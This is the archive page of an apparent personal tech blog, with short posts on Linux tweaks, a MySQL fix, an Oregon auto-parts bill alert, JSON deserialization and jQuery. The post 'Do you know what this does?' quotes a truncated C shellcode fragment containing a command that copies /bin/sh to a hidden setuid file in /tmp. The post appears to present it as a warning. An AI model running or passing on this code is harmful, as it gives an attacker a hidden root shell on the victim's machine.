Upgraded my hard drive on my ps3 yesterday

Written on January 27, 2010 – 1:03 am | by mpayne

I would have done it a lot sooner if I knew it was that easy. Sony definetly paves the way for you.

Link to a comprehensive guide.

Cairo-Dock removed in favor of docky (from gnome-do)

Written on January 5, 2010 – 8:05 pm | by mpayne

While I used Cairo-Dock for a while I found it bit quirky.  I it would sometimes be misaligned and never had the smoothness of the dock in my mac laptop.  Configuration had a lot of options but is somewhat clunky.

Docky is off to a nice smart.  It seems smoother and more intelligent with regards to auto-hiding. It has great integration with gnome-do.

screen shot

Link to install guide.

Mysql back up an running after 9.10 upgrade

Written on November 14, 2009 – 12:32 am | by mpayne

Apparently mysql did not fully upgrade after moving from ubuntu 9.04 to 9.10.

A quick search (also) revealed others were having the problem as well.

I was able to fix the issue by selecting mysql-client-5.1 over mysql-client-5.0 (which it was stuck at after the install) for install.  In addition, I had to add mysql-server-5.1.  mysql-server-core-5.1 was already there so I assume rest of the server never over after the upgrade.

Auto Enthusiasts in Oregon Please stand up.!!

Written on February 17, 2009 – 12:48 am | by mpayne



Oregon Introduces Bill to Prohibit Sale of Aftermarket Parts

At the request of Governor Theodore Kulongoski, the Oregon Speaker
of the House has introduced legislation (H.B. 2186) to prohibit the
sale and distribution of aftermarket motor vehicle parts if
alternatives are available that “decrease greenhouse gas emissions from
motor vehicles.” The bill is primarily focused on aftermarket tires and
would authorize the Environmental Quality Commission to implement
enforcement regulations, likely based on a rolling resistance

We Urge You to Contact Oregon Speaker of the House Dave Hunt
and Members of the Environment and Water Committee (Contact Information
Below) Immediately to Request Their Opposition to H.B. 2186

  • H.B. 2186 would regulate vehicle fuel economy, an authority reserved to the federal government.

  • H.B. 2186 could ban tires that may have improved performance,
    handling or appearance features, based solely on a rolling resistance
    rating.  In addition, this program could easily distract consumers from
    focusing on more important safety issues such as tire inflation and
    overloading of vehicles.

  • H.B. 2186 would force consumers to purchase only original
    equipment manufacturer (OEM) tires because the program essentially
    exempts OEM-selected tires and unfairly implies that they are superior
    to aftermarket products.

  • H.B. 2186 could prohibit aftermarket parts designed to either
    personalize or optimize specific vehicle performance attributes
    including handling, towing, suspension, fuel economy, etc.

  • H.B. 2186 provides broad authority to government regulators
    and could limit a range of aftermarket parts currently available to
    consumers based on the subjective determination of government

DON’T DELAY!  Please contact Oregon Speaker Dave Hunt and
the House Environment and Water Committee immediately to urge his
opposition to H.B. 2186. 

Oregon House Speaker Dave Hunt
Phone:  503/986-1440
Email:  rep.davehunt@state.or.us

Oregon House Environment and Water Committee

Representative Ben Cannon – Chair
Phone: 503/986-1446
Email: rep.bencannon@state.or.us

Representative Jules Bailey
Phone: 503/986-1442
Email: rep.juleskopelbailey@state.or.us

Representative Phil Barnhart
Phone: 503/986-1411
Email: rep.philbarnhart@state.or.us

Representative Cliff Bentz
Phone: 503/986-1460
Email: rep.cliffbentz@state.or.us

Representative Deborah Boone
Phone: 503/986-1432
Email: rep.deborahboone@state.or.us

Representative Vic Gilliam
Phone: 503/986-1418
Email: rep.vicgilliam@state.or.us

Representative Bob Jenson
Phone: 503/986-1458
Email: rep.bobjenson@state.or.us

Representative Jefferson Smith
Phone: 503/986-1447
Email: rep.jeffersonsmith@state.or.us

Do you know what this does?

Written on February 16, 2009 – 6:34 pm | by mpayne

char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“cp -p /bin/sh /tmp/.beyond; chmod 4755

TECH SOURCE FROM BOHOL: The 7 Deadly Linux Commands


Today’s verdict on JSON deserialization

Written on February 13, 2009 – 12:11 pm | by mpayne

XStream == FAIL  (still good for xml)
Does not handle unamed paths/nodes(per mailing list). 


No problems with {”type”:”chairmanslife”,”hbdFlag”:”Y”,”htkLifeCredit”:”0″,”lifeMethodCredit”:”35,644″,”lifeThreshold”:”165,000″,”nonAffiliatedFlag”:”N”,”pmlFixedLifeCredit”:”7,225″,”pmlVariableLifeCredit”:”28,419″}

JSONDeserializer<Detail> deserializer = new JSONDeserializer<Detail>();
detail = deserializer.use(null, Detail.class).deserialize(blobString);

How to reinstall your ubuntu with all the same packages in a fresh install

Written on February 12, 2009 – 12:10 pm | by mpayne


need to keep this handy

Funny new Mac laptop feature

Written on January 7, 2009 – 9:40 pm | by mpayne

Steve Jobs, You Magnificent Bastard!

A laptop without a keyboard

Cheap source for methnol if running alcohol injection.

Written on December 18, 2008 – 10:53 pm | by mpayne

According to this forum
1 gallon of supertech which is 40% methanol Per the MSDS sheet plus 2
bottle of gas line antifreeze, windshield washer consentrate or Heet
will get you your 50/50 mix.

Adding a hint to indicate links are external

Written on November 27, 2008 – 12:17 am | by mpayne

Good tip from — >

  1. $(document).ready(function() {
  2.   $(‘#extlinks a’).filter(function() {
  3.     return this.hostname && this.hostname !== location.hostname;
  4.   }).after(‘ <img src=”/images/external.png” alt=”external link”>’);
  5. });